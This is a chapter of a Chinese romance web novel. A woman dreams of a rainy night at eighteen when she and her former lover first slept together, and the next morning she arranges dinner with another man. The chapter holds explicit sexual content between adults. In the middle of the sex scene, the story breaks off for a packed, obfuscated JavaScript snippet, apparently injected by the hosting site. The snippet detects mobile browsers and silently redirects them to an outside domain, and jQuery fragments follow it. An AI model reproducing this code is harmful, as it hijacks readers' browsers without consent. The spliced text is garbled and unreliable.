默认冷灰
24号文字
方正启体

10. Chapter10

作者:宋春禾本书字数:K更新时间:
    陈宥仪没和梁知韫纠缠下去。


    她弯腰将手中的药放下,什么都没说,头也不回地上了楼。


    这天夜里,她做了一场很长很长的旧梦——


    昏天地暗的雨季,见不到太阳的踪迹,京州像是一块怎么都拧不干的毛巾,湿哒哒地滴着水,溅起青草的香气和泥土的腥臭,缥缈在空气中。


    她又回到了十八岁,高考结束后,那个虚妄的七月,那个暴雨的深夜。


    那是她和梁知韫第一次外出约会,从游乐园出来后没回梁家老宅,而是去了他在大学附近置办的那套公寓楼。


    她没有困意,梁知韫找了一部国外的老片子,将她拽到沙发上坐下,关掉屋内硕大明亮的水晶灯,只留下一盏橘色的落地灯,柔柔淡淡地落在他们身侧。


    电影不是什么好片子,剧情乏味,演技一般,但风情荡漾的场面很多。


    陈宥仪靠在梁知韫的臂弯里,看了没多久就脸热心慌,开始怀疑他是不是故意而为之,偏过头羞赧质问:“那么多电影,你干嘛非要看这个?”


    梁知韫低眸对上她有点埋怨的目光,俯低脖颈碰了碰她的额头,温磁的声音荡漾出缱绻轻慢的笑:“我随便挑的,哪知道是这种类型。”


    陈宥仪满眼不信。


    梁知韫望着她水亮如悬珠的眼睛,声音一贯低懒舒缓:“你觉得我是故意的?”


    陈宥仪昂昂下巴:“不然呢?”


    梁知韫微微弯起的唇角挑出更张扬的弧度:“我有这么下流?”


    她点头:“嗯。”


    “这算下流,那这个呢?”问着话,梁知韫伸手掐高她的下巴,蛮横霸道地吻了下去。


    “唔……”陈宥仪想说的话被瞬间堵了回去,她赫然瞪眼,视野里,近在咫尺的是梁知韫如鸦羽般低垂的睫毛。


    他柔柔地碾摩着她的唇,捏着她下巴的手不知何时滑到了她颈侧,滚烫的掌心一点点贴上她渗着香气的皮肤,指尖贪恋地刮蹭着她耳垂,撩拨的那样漫不经心。


    陈宥仪被他惊人的体温烫到,下意识缩了下肩膀。


    梁知韫察觉到,掀起眼皮,饶有兴味地望了她一眼。


    目光相交,她神情稍怔。


    落地的玻璃窗外,雨丝斜飞,留下水痕。


    下一秒,一只能够遮天蔽日的手,覆上了她的眼睛。


    视线彻底黑了下去。


    陈宥仪看不清,那颗怦然跃动的心更加疯狂,感官也在寂静中越来越被放大。


    丝丝缕缕的电流在她的脊背上胡乱游走,她浑身发麻,失去所有本能反应,就这样身体僵直着,被动地接受起梁知韫这个突如其来、正在往更深处探索的吻。


    舌尖的热悄无声息地钻进心里,湿漉又绵密。


    那场不怎么好看的电影还在播,戏里戏外,两对主人公们黏腻粗重的呼吸声逐渐融为一体,分不清谁更浓烈,更紧迫。


    被他气息侵占着的陈宥仪愈发头晕,她皱着眉,却没觉得这种濒临窒息的感觉难以忍受,反倒从中捕捉到一丝异样的、不该存在的快感。


    天旋地转间,她不知怎么被梁知韫捞进怀里,坐在了他腿上。


    回荡在客厅黏腻的吻声忽地暂停,电视里动情的声音,成了此刻点缀他们的背景音。


    “宥仪。”梁知韫抵着她的额头低声喘息,抓起她的手腕,让她环住自己的脖颈,将两人上半身贴近,“试着对我再主动一点。”


    “主动……什么?”陈宥仪看着他被欲色覆盖的眼睛,呼吸越来越紧促。


    “吻我。”梁知韫哑声回答,揽在她后腰的那双手臂一点点收紧,扑出去的温热气息带着冷杉的木质香气,如雾般将她包裹。


    “我们现在不就是在……”陈宥仪敛声屏气,一双小巧饱满的耳垂红的像是两颗血珠,整个人羞怯到恨不得蜷起来,根本没办法把接吻两个字说出口。


    “这是我主动的,不算。”梁知韫伸手将她脸侧的发丝别到她耳后,目光始终落在她水盈饱满的唇,明明意犹未尽,却强忍着横冲直撞的欲望,继续低声引诱她,“为我主动一次吧,宥仪。”


    “让我尝尝由你主导的吻,会不会更甜一些。”说着话时,梁知韫的指尖有意无意地蹭过她的耳廓。


    陈宥仪的体温彻底烧了起来。


    绯红的晚霞在她雪白的脸颊上作画,留下一道扎眼又难以磨灭的痕迹,艳色芳华。


    她咬着唇,羞耻心爆棚,不看他,也不对他的请求做出回答。


    梁知韫不着急,一边打量她艳如桃李的脸庞,一边不紧不慢地撩拨她,仿佛今日必须要她主动一回才肯罢休。


    但他没想她比他还能忍,明明睫毛都在颤抖,却怎么都不肯低头。


    “宥仪。”梁知韫有些忍不住了,侧头贴上她的耳畔厮磨,继续低声诱哄,“你现在亲我一口,我就算死了也值了。”


    闻言,陈宥仪像是被触到了逆鳞那般,突然皱起眉头,将人一把推开:“你胡说什么!”


    梁知韫错愕又茫然:“怎么了?”


    陈宥仪神情凝重:“你知不知道,人讲话是要避谶的?”


    梁知韫望着她,恍然大悟地眯了眯眼睛,轻不可闻地笑了声。


    “怎么,不舍得我死?”他扬着眉梢调笑,看向她的眼睛含着数不尽的春风,那般朦胧,那般温柔。


    “谁舍不得你死!”陈宥仪抬声反驳,脸上却显露出被戳中心思的窘迫。


    “那就是舍得我死咯?”梁知韫撇撇唇,扮出来一副委屈样。


    “梁知韫!”陈宥仪眉头又一次皱紧,没好气地举拳朝他肩胛骨砸去。


    “叫哥哥。”梁知韫一把擒住她的手腕,将她重新拽进怀里,没等她再开口,宽大的手掌摁住她的后脑,再次吻了上去。


    他从不让她叫哥哥,除了这种时刻。


    风急雨骤,屋内屋外都是一片狼藉。


    她昂着头,梁知韫滚烫的吻在她颈侧蜿蜒着,最后情难自控地覆上她耳畔,缠缠绵绵的同她低喃,宥仪,要不要换个地儿?


    于是,他们从沙发换到了卧室。


    陈宥仪平躺在暗蓝色的床单上,如瀑的发丝凌乱的向四周散开,绷紧的指尖紧掐着梁知韫潮热光滑的脊背,额角的碎发被汗水浸湿,哭过的眼睛在此刻愈发的迷蒙,连天花板上的吊灯都看不清。


    钻心的疼痛过后,是踏进新乐园的愉悦、灿烂、以及还想再疯狂一些的欲望。


    陈宥仪觉得自己像一张铺展的白纸,被画笔一点点描摹出痕迹再被肆意揉皱。


    好几次,她的身体不受控地向上弓起,和炙热的心口贴的更近,又不受控地下落。


    梁知韫眯着眼睛,似笑非笑地欣赏着她绯红的脸颊、水光潋滟的粉唇。


    他享受着此刻的意乱情迷,以绝对侵占又绝对服务的姿势,不厌其烦,一遍遍地,搅动夜雨。


    雷声在屋外轰鸣。


    屋内交缠的声音晃晃悠悠地荡在月光下,孟浪旖旎。


    可就在陈宥仪彻底陷入情潮


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15667431|172988||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的那刻,梁知韫却故意放缓了动作。


    滚烫的指尖掐住她的下颚,将她歪斜的脑袋扳正,逼她同他对视。


    “宥仪,看着我。”


    “说你喜欢我。”


    “说——”


    “你不舍得我死。”


    ……


    这场和往事如出一辙的旧梦,最终被一阵急促且突兀的手机铃声打断。


    躺在暗蓝色的床单上的陈宥仪猛地睁开了眼睛。


    贴着枕头的后颈冒气一层细密的薄汗,黏腻的感觉让她分不清是梦境还是现实。


    长吁了口气出去,她拍拍自己微烫的脸,拿起搁在枕边的手机,摁了接通。


    “喂。”陈宥仪温声开口,眼睫低垂半拢着,神情有几分疲倦。


    电话那边,蒋铮听出来她的困意,有些抱歉地放轻了声音:“宥仪……我是不是打扰你睡觉了?”


    “没。”陈宥仪稍稍抬高音量,从薄被里抽出另一只手,揉了揉酸胀的太阳穴。


    “那就好。”蒋铮松了口气,直入正题,“我家的公司有点事情要处理,明天要跟我爸去一趟沪城,你今天下午有空吗,一起吃顿饭?”


    “有空。”陈宥仪说。


    “那我来你家接你。”


    “好。”陈宥仪淡声回答,只是刚说完,脑海里忽然冒出来昨天傍晚,梁知韫说的那句,他知道你和你前男友住在一起吗?


    陈宥仪眉心蹙了下,慌忙握紧手机,改口说:“蒋铮,要不我们直接在餐厅碰面吧。”


    听筒里,蒋铮声音透出一丝疑惑:“怎么了?”


    陈宥仪大脑飞速运转,随口编了个妥帖得体的理由,搪塞过去:“你那边过来离得太远,这样比较方便。”


    蒋铮没多想,也没多问,只说了句:“那我订好餐厅把位置发给你。”


    陈宥仪不轻不重地嗯了声。


    蒋铮:“那晚上见。”


    陈宥仪:“嗯,晚上见。”


    挂断电话,陈宥仪如释重负般叹了口气。


    后颈的汗俨然褪去,她睁着眼睛,不受控地回想刚才的梦境,目光逐渐失焦。


    有多久没梦见过梁知韫了?


    她出神地想着,直到被房间门被扣响,紧跟着传来保姆赵姨小心翼翼地询问:“宥仪小姐,您醒了吗?”


    陈宥仪飘飞的思绪从混乱中抽离,她撑着身体坐起,扬声回话:“醒来了。”


    赵姨:“早餐做好了,您收拾好就可以下来了。”


    陈宥仪掀开被子下床:“好。”


    她扎起睡乱的头发,去了浴室洗漱,却意外发现生理期提前来了。


    二十分钟后,从里到外换过衣服的陈宥仪下了楼。


    餐厅没有梁知韫的身影,也没有梁邵言。


    保姆赵姨帮她拉开椅子,一边摆放餐具,一边说:“梁少爷今天又是一早就走了,什么都没吃。”


    陈宥仪长睫微不可见地颤了下。


    只是很快就恢复平静,好像对梁知韫的事情压根不感兴趣一样,好整以暇地转移了话题:“那梁叔呢?”


    赵姨:“老爷他今天约了几个朋友去爬山,也是一早就出门了。”


    陈宥仪拿着刀叉,恍然喃喃了声:“这样。”


    赵姨没再说话,从餐厅退了出去。


    看着桌上的吃食,陈宥仪目光不由自主地抬起,往客厅的方位投射过去。


    昨夜她拿给梁知韫的水杯和药片,竟还纹丝不动地放在桌面上。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)